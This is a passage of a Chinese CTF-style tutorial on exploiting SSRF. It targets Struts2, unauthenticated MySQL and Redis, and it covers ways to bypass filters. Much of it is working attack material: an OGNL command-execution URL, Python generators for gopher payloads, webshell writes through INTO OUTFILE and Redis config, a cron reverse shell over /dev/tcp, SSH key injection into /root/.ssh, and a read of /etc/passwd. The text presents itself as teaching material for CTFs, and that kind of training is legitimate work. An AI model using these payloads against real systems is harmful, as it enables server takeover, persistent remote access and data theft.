对内部主机和端口发送请求包进行攻击
get 方法可以攻击 web,比如 struts2 命令执行、Thinkphp、Jboss 等
针对内网 192.168.1.139 这台服务器进行攻击,执行命令 whoami:
http://localhost/ssrf.php?url=<u>http://192.168.1.139</u>:8081/${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())}.action
post 方法我们可以用 gopher 协议去发送请求数据包
http://localhost/ssrf.php?url=gopher://192.168.1.124:6667/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword
0x06 MySQL 未授权攻击
文件读取
MySQL 数据库用户认证采用的是挑战/应答的方式,服务器生成该挑战数(scramble)并发送给客户端,客户端用挑战数加密密码后返回相应结果,然后服务器检查是否与预期的结果相同,从而完成用户认证的过程
登录时需要用服务器发来的 scramble 加密密码,但是当数据库用户密码为空时,加密后的密文也为空。client 给 server 发的认证包就是相对固定的了。这样就无需交互,可以通过 gopher 协议来发送
正常的 MySQL 认证:
- • Client ----连接请求----> Server
- • Client <---scramble(挑战数)--- Server (seq=0)
- • Client ----加密后的密码----> Server (seq=1)
关键:密码为空时,加密后的密文也是空的! 所以客户端发的认证包是固定可预测的
环境模拟:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
$data = curl_exec($ch);
curl_close($ch);
header('Content-Type: text/plain; charset=utf-8');
echo $data;
?>
本地搭建的数据库的设立了一个名为 ssrf 的用户,且赋予其权限,允许空密码登录:
CREATE USER 'ssrf'@'localhost';
GRANT ALL ON *.* TO 'ssrf'@'localhost';
创建测试数据:
CREATE DATABASE IF NOT EXISTS test;
USE test;
CREATE TABLE IF NOT EXISTS flag (id INT, content VARCHAR(255));
INSERT INTO flag VALUES (1, 'FLAG{test_flag_here}');
payload 生成脚本:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
_\"\"\"_
_用法: python exploit.py -u 用户名 -d information_schema -p \"\" -P \"sql语句\" -v -c_
_\"\"\"_
import struct
import hashlib
import argparse
from urllib.parse import quote
def sha1(data):
return hashlib.sha1(data).digest()
def xor_string(s1, s2):
result = bytearray()
for i in range(min(len(s1), len(s2))):
result.append(s1[i] ^ s2[i])
return bytes(result)
def mysql_native_password(password, scramble):
if not password:
return b\"\"
stage1 = sha1(password.encode())
stage2 = sha1(stage1)
stage3 = sha1(scramble + stage2)
return xor_string(stage1, stage3)
def add_mysql_header(body, seq):
length = len(body)
return struct.pack(\"<I\", length)[:3] + struct.pack(\"B\", seq) + body
def generate_payload(host, port, username, password, database, sql):
scramble = b\"\\x00\" * 20
raw = bytearray()
# 认证包
auth = bytearray()
client_flag = 0x0AA285
auth += struct.pack(\"<I\", client_flag & 0xFFFFFFFF)
auth += struct.pack(\"<I\", 16777215)
auth += struct.pack(\"B\", 0xFF)
auth += b\"\\x00\" * 23
auth += username.encode() + b\"\\x00\"
resp = mysql_native_password(password, scramble)
auth += struct.pack(\"B\", len(resp))
if resp:
auth += resp
auth += b\"mysql_native_password\\x00\"
raw += add_mysql_header(bytes(auth), seq=1)
# USE database
if database:
q = b\"\\x03\" + f\"USE {database}\".encode()
raw += add_mysql_header(q, seq=0)
# SQL 查询
q = b\"\\x03\" + sql.encode()
raw += add_mysql_header(q, seq=0)
# COM_QUIT
raw += add_mysql_header(b\"\\x01\", seq=0)
gopher_url = f\"gopher://{host}:{port}/_{quote(raw)}\"
return gopher_url, raw
def main():
parser = argparse.ArgumentParser(description=\"Gopher MySQL Attack\")
parser.add_argument(\"-u\", \"--user\", required=True, help=\"MySQL用户\")
parser.add_argument(\"-d\", \"--database\", default=\"\", help=\"数据库名\")
parser.add_argument(\"-p\", \"--password\", default=\"\", help=\"密码\")
parser.add_argument(\"-P\", \"--sql\", required=True, help=\"SQL语句\")
parser.add_argument(\"-H\", \"--host\", default=\"127.0.0.1\", help=\"MySQL地址\")
parser.add_argument(\"--port\", type=int, default=3306, help=\"MySQL端口\")
parser.add_argument(\"-v\", \"--verbose\", action=\"store_true\", help=\"显示详细信息\")
parser.add_argument(\"-c\", \"--curl\", action=\"store_true\",
help=\"输出二次编码的 SSRF 链接(放 ?url= 用)\")
args = parser.parse_args()
gopher_url, raw = generate_payload(
args.host, args.port, args.user, args.password,
args.database, args.sql
)
if args.verbose:
print(f\"\
[*] Gopher URL:\")
print(gopher_url)
print(f\"\
[*] Payload hex ({len(raw)} bytes):\")
for i in range(0, len(raw), 32):
chunk = raw[i:i+32]
hx = \" \".join(f\"{b:02x}\" for b in chunk)
asc = \"\".join(chr(b) if 32 <= b < 127 else \".\" for b in chunk)
print(f\" {hx:<48s} {asc}\")
else:
print(gopher_url)
if args.curl:
double = quote(gopher_url, safe=\"\")
print(f\"\
[*] SSRF 链接 (?url= 二次编码):\")
print(double)
if __name__ == \"__main__\":
main()
在 BP 中发包需要使用二次编码的 payload:
接下来就是常规的 sql 查询了:
python exploit.py -u ssrf -d ssrf_demo -p \"\" -P \"select * from flag\" -c
未授权写 shell
满足条件:
- • 数据库账户拥有 FILE 权限;
- • MySQL 对目标目录具有写权限;
- • 知道 Web 根目录位置;
- • 目标环境配置存在缺陷;
那么攻击者可能尝试将内容写入服务器文件系统
SELECT 1,\"<?php @assert($_POST['t']);?>\",3,4 INTO OUTFILE '/var/www/html/shell.php';
需要关注的点就是:outfile 后面不能接 0x 开头或者 char 转换以后的路径,只能是单引号路径。这个问题在 php 注入中更加麻烦,因为会自动将单引号转义成’,那么基本就无了,但是 load_file:
SELECT LOAD_FILE('/etc/passwd')
后面的路径可以是单引号、0x、char 转换的字符,但是路径中的斜杠是/而不是\
漏洞原理
MySQL 客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送 salt 然后客户端使用 salt 加密密码然后验证;当无需密码认证时直接发送 TCP/IP 数据包即可。所以在非交互模式下登录并操作 MySQL 只能在无需密码认证,未授权情况下进行
进行 mysql 查询的时候有数据包交互,我们要做的就是伪造这种数据包交互,进行 curl,当然,这种我们伪造的数据包是利用 gopher 协议进行发送的
例题演示
CTFSHOW web359
抓包发现 POST 参数 returl,尝试传递 url
题目提示打无密码 mysql,利用自动化工具 Gopherus 生成 payload,用户为 root,sql 语句为 select '<?php eval($_GET[c]);?>' into outfile '/var/www/html/c.php';
将生成的 payload 再次编码,放进 bp 发包
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2547%2545%2554%255b%2563%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501
webshell 就写进了 /c.php,访问进行 rce 即可
0x07 Redis 未授权攻击
漏洞原理
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized\_keys 文件中,进而可以使用对应私钥直接使用 ssh 服务登录目标服务器
漏洞的产生条件有以下两点:
- • redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网
- • 没有设置密码认证(默认为空),可以免密码远程登录 redis 服务
在 SSRF 漏洞中,如果通过端口扫描等方法发现目标主机上开放 6379 端口,则目标主机上很有可能存在 Redis 服务。此时,如果目标主机上的 Redis 由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用 Gopher 协议远程操纵目标主机上的 Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写 WebShell、写 SSH 公钥、创建计划任务反弹 Shell 等…..
思路都就是先将 Redis 的本地数据库存放目录设置为 web 目录、~/.ssh 目录或/var/spool/cron 目录等,然后将 dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行 save 或 bgsave 保存,则我们就指定的目录里写入指定的文件了
RESP 协议
Redis 未授权访问
监听网络流量,将捕获发往 Redis 的 TCP 数据包保存到 redis.pcap
sudo tcpdump -i lo -nn -s 0 port 6379 -w /tmp/redis.pcap
另开一个命令行窗口连接 Redis
redis-cli
拿到本地用 wireshark 分析下数据包,追踪下 TCP 流:
Redis 服务器与客户端通过 RESP(REdis Serialization Protocol)协议通信
RESP 协议是在 Redis 1.2 中引入的,但它成为了与 Redis 2.0 中的 Redis 服务器通信的标准方式
RESP 实际上是一个支持以下数据类型的序列化协议:
- • 简单字符串
- • 错误
- • 整数
- • 批量字符串
- • 数组
RESP 在 Redis 中用作请求 - 响应协议的方式如下:
-
- 客户端将命令作为
Bulk Strings的 RESP 数组发送到 Redis 服务器
- 客户端将命令作为
-
- 服务器根据命令实现回复一种 RESP 类型
在 RESP 中,某些数据的类型取决于第一个字节:
- • 对于客户端请求
Simple Strings,回复的第一个字节是+ - • 对于客户端请求
error,回复的第一个字节是- - • 对于客户端请求
Integer,回复的第一个字节是: - • 对于客户端请求
Bulk Strings,回复的第一个字节是$ - • 对于客户端请求
array,回复的第一个字节是*
此外,RESP 能够使用稍后指定的 Bulk Strings 或 Array 的特殊变体来表示 Null 值。
在 RESP 中,协议的不同部分始终以 \"\\r\
\"(CRLF) 结束
Bulk Strings 用于表示长度最大为 512 MB 的单个二进制安全字符串,按以下方式编码:
- •
$字节数:一个$后跟组成字符串的字节数,由 CRLF 终止。 - • 字符串数据
- • CRLF
字符串 G3ng4r 的编码如下:$6\\r\
G3ng4r\\r\,如下图格式
RESP Arrays 使用以下格式发送:
- •
*元素数:*字符作为第一个字节,后跟数组中的元素数,后跟 CRLF - • 数组中的每个元素都附加 RESP 类型
现在通过下图理解数据包:
- • 每一个
*number代表每一行命令,number 代表每行命令中数组中的元素个数:图中的*3,代表config get dbfilename这行命令的 3 个元素 - •
$number代表每个元素的长度:$6,代表config长度
Redis 认证访问
在 redis-cli 中修改 redis 密码后再次进入 redis
CONFIG SET requirepass 123456
可以看到我们进行 PING 命令时提示 NOAUTH Authentication required,需要进行密码认证
AUTH 123456
此后每次请求命令执行之前都使用下面格式进行验证:
*2
$4
AUTH
$6
123456
官方文档中提到:客户端可以通过一个写操作发送多个命令,而不需要在发出下一个命令之前读取上一个命令的服务器应答
因此,在具有认证(弱口令)的情况下,我们依然可以进行与未授权相同的攻击方式,只需要在攻击脚本中加上验证数据即可
攻击方式
写进定时任务
flushallset 1 '\
\
*/1 * * * * bash -i >& /dev/tcp/反弹IP/反弹端口 0>&1\
\
'config set dir /var/spool/cron/config set dbfilename rootsave
我们来一条条解释 redis 命令
- •
flushall:删除 Redis 中所有数据,避免原有内容干扰后续写入 - •
set 1 '\ \ */1 * * * * bash -i >& /dev/tcp/反弹IP/反弹端口 0>&1\ \ ':设置键名为 1,键值为反弹 shell,其中*/1 * * * *是 Cron(Linux 计划任务)的时间表达式,表示每分钟执行一次 - •
config set dir /var/spool/cron/config:修改 Redis 持久化文件的保存目录,/var/spool/cron/是 Linux 计划任务相关目录,目的是让 Redis 把持久化文件写到系统敏感目 - •
config set dbfilename root:修改 Redis 持久化文件名 - •
save:保存设置
绝对路径写 Webshell
于实战而言利用价值不大,开 Redis 的内网服务器一般不会开 Web 服务,但却是 CTF 中常见的考点
flushallset 1 '<?php **eval**($_POST[\"cmd\"]);?>'config set dir /var/www/htmlconfig set dbfilename shell.phpsave
webshell 被写进 /shell.php
gopher 协议生成脚本:
import urllib.parse
protocol = \"gopher://\"
ip = \"192.168.0.141\"
port = \"6379\"
shell = \"\
\
<?php eval($_POST[\\\"cmd\\\"]);?>\
\
\"
filename = \"shell.php\"
path = \"/var/www/\"
passwd = \"\"
cmd = [
\"flushall\",
\"set 1 {}\".format(shell.replace(\" \", \"${IFS}\")),
\"config set dir {}\".format(path),
\"config set dbfilename {}\".format(filename),
\"save\"
]
if passwd:
cmd.insert(0, \"AUTH {}\".format(passwd))
payload = protocol + ip + \":\" + port + \"/_\"
def redis_format(arr):
CRLF = \"\\r\
\"
redis_arr = arr.split(\" \")
cmd = \"\"
cmd += \"*\" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + \"$\" + str(len(x.replace(\"${IFS}\", \" \"))) + CRLF + x.replace(\"${IFS}\", \" \")
cmd += CRLF
return cmd
if __name__ == \"__main__\":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
payload = urllib.parse.quote(payload)
with open('Result.txt', 'w') as f:
f.write(payload)
with open(\"Result.txt\", \"r\") as f:
for line in f.readlines():
print(line.strip())
写入 ssh 公钥
使用 ssh-keygen -t rsa 生成公钥和私钥。RSA 加密算法就是公钥加密,私钥解密;所以我们要把公钥给服务器,然后用自己私钥登录
注意如果 redis 那台服务器没有目录的话一定要想办法生成好,不然会报路径错误
Redis 命令写入公钥
flushallset 1 '公钥'config set dir /root/.ssh/config set dbfilename authorized_keyssave
gopher 协议生成脚本
import urllib.parse
protocol = \"gopher://\"
ip = \"192.168.0.141\"
port = \"6379\"
ssh_pub = (
\"ssh-rsa AAAAB3NzaC1yc2EAAAADAQ\"
\"ABAAABAQC8YIKqm8JZRdoi2FCY97+fNp+lT\"
\"CEwoPPoBGOKLLWYeeKsm3gRNy7kmHx1IHhsm\"
\"yIknEcbQCciBx41Ln+1SIbEqYVFksHNxk8xG\"
\"iaxjsUOYATqQ1Lkq/ZMxKAzpq08uGp17URbJmv3JtuKEkHPdEHDqvBQJLUVJCCvAm86Yer8y663BFxRv5AXwSkCYquL\"
\"P7XvG6yyYATdoRPJCdqjTtsGIlpJOH4gMfEhZOxKsLzwZJIWYose2BEA1REM7Nfxx2Oqva/hSErf5RqXgXXSWC3/jBlz\"
\"P2xof1a4CDRL9LoKLLTwUFQKWSMfnjMKYH3+uZIg4MyUAdWWwubEhpS6lpJd wzf@wzf-virtual-machine\"
)
filename = \"authorized_keys\"
path = \"/root/.ssh/\"
passwd = \"\"
cmd = [
\"flushall\",
\"set 1 {}\".format(ssh_pub.replace(\" \", \"${IFS}\")),
\"config set dir {}\".format(path),
\"config set dbfilename {}\".format(filename),
\"save\",
]
if passwd:
cmd.insert(0, \"AUTH {}\".format(passwd))
payload = protocol + ip + \":\" + port + \"/_\"
def redis_format(arr):
CRLF = \"\\r\
\"
redis_arr = arr.split(\" \")
cmd = \"\"
cmd += \"*\" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + \"$\" + str(len(x.replace(\"${IFS}\", \" \"))) + CRLF + x.replace(\"${IFS}\", \" \")
cmd += CRLF
return cmd
if __name__ == \"__main__\":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
payload = urllib.parse.quote(payload)
with open(\"Result.txt\", \"w\") as f:
f.write(payload)
with open(\"Result.txt\", \"r\") as f:
for line in f.readlines():
print(line.strip())
例题演示
CTFSHOW web360\\ \\题目源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
dict 协议探测 6379 端口回显了报错信息,说明其上开启了 redis 服务,探测 info 路由发现确实如此
手写 redis 命令,注意 Redis 写入的是原始二进制字节,为了保护 payload 中特殊字符字符的完整需要进行 16 进制编码
url=dict://127.0.0.1:6379/flushall
url=dict://127.0.0.1:6379/set shell \"\\x3c\\x3f\\x70\\x68\\x70\\x20\\x65\\x76\\x61\\x6c\\x28\\x24\\x5f\\x50\\x4f\\x53\\x54\\x5b\\x27\\x63\\x6d\\x64\\x27\\x5d\\x29\\x3f\\x3e\"
url=dict://127.0.0.1:6379/config set dir /var/www/html
url=dict://127.0.0.1:6379/config set dbfilename shell.php
url=dict://127.0.0.1:6379/save
访问我们写入的后门 getshell
以上主要是为了演示 redis 命令执行,事实上可以直接通过 Gopherus 生成 gopher 协议的 payload 完成写入 webshell 操作:
0x08 绕过手法
URL 解析特性绕过
URL 的完整格式:
[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]
在 URL 中:
- •
@符号用于分隔认证信息和主机地址,因此 ctf 会被识别成认证信息,127.0.0.1 作为请求主机地址; - •
?表示查询字符串开始,后面的内容作为参数处理,而参数是可有可无的 - •
#表示片段标识符
url=http://[email protected]/flag.php?any
url=http://[email protected]/flag.php#any
等价于 http://127.0.0.1/flag.php
进制绕过
以 192.168.0.1 为例:
- • 十六进制:C0A80001
- • 十进制:3232235521
- • 二进制:11000000101010000000000000000001
对于 127.0.0.1:
http://127.0.0.1/
http://2130706433/
http://0x7F000001/
http://0x7F.0.0.1/
http://017700000001/
http://0x7F.0.0.1/
IP 地址特殊写法绕过
127.1 是 127.0.0.1 最经典的省略写法。系统会自动将其补全为 127.0.0.1
http://127.1/
0 是 0.0.0.0 的极简省略写法。在某些系统、命令行工具或网络库中,单个 0 可以被识别并指向本机。
http://0/
整个 127.0.0.0/8 网段都是环回地址。根据 RFC 标准,从 127.0.0.1 到 127.255.255.254 的任何一个地址都会回环到本机
http://127.127.127.127
域名解析绕过
网上申请一个域名,假设为 hack .attack.com,将其添加一条 A 记录使其解析到 127.0.0.1,此后如果有人 ping http://hack.attack.com,就会 ping 127.0.0.1,那么同理,如果这样构造 payload,就可以实现访问本地
http://hack.attack.com
重定向绕过&短网址绕过
在公网服务器网站下面创建一个 location.php,当服务器访问到这里时,就会被重定向到本机 80 端口下的 flag.php
<?php
header(\"Location:http://127.0.0.1/flag.php\");
?>
如果 192.168.0.1.xip.io 都被过滤了,但是重定向没有被控制;可以去 TINYURL 生成一个短 URL
访问短 URL 的流程就是
https://tinyurl.com/4czmrv9d->302 跳转-> 成功访问 192.168.0.1,这样就成功绕过了检查
协议绕过
如果是 php,可以试试 php 所有的伪协议以及冷门的非 HTTP 协议
php://系列
zip://
bzip2://
zlib://系列
data://
phar://
file://
dict://
sftp://
ftp://
tftp://
ldap://
gopher://
特殊用法绕过
http://[::]:80/
http://0000::1:80/
http://0/
192。168。0。1
泛域名解析绕过
xip.io 是一个提供通配符 DNS 解析的魔法域名。你可以无需配置,将自定义的任何域名解析到指定的 IP 地址。假设你的 IP 地址是 10.0.0.1,你只需使用 前缀域名+IP地址+xip.io 即可完成相应自定义域名解析
10.0.0.1.xip.io # 解析到 10.0.0.1
www.10.0.0.2.xip.io # www 子域解析到 10.0.0.2
mysite.10.0.0.3.xip.io # mysite 子域解析到 10.0.0.3
foo.bar.10.0.0.4.xip.io # foo.bar 子域解析到 10.0.0.4
xip.io可以指向任意域名,如127.0.0.1.xip.io,可解析为127.0.0.1
Enclosed alphanumerics字符集绕过
能在这个网站看到这个字符合集,挑选合适的字符就行,适用于域名而不适用于直接IP访问
https://ⓦⓦⓦ.ⓔⓣⓔsⓣⓔ.ⓒⓄⓜ/
是完全等同于https://www.eteste.com/
```
DNS 重绑定绕过
推荐文章:https://www.anquanke.com/post/id/262430#h3-50
-
- 判定你给的 IP 或者域名解析后的 IP 是否在黑名单中
-
- 若在,退出报错
-
- 若不在,再次访问你给的 IP 或者域名解析后的 IP;执行后续业务模块
所以思路很简单:你只需要有个域名,但是它映射两个 IP;同时设置 TTL 为 0,能方便两个 IP 即刻切换
效果类比:你访问 wwfcww.xyz 这个域名,第一次解析的 IP 是 192.168.0.1;而第二次解析的 IP 是 127.0.0.1
这个操作,就叫做 DNS重绑定
参考:
https://www.cnblogs.com/miruier/p/13907150.html
https://blog.csdn.net/qq\_61778128/article/details/127505896
https://www.freebuf.com/articles/web/303275.html
https://www.anquanke.com/post/id/262430#h3-3
https://blog.csdn.net/crisprx/article/details/104251284
https://blog.csdn.net/2301\_80027701/article/details/153080961
欢迎师傅们加入Zer0day交流群友好交流
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







评论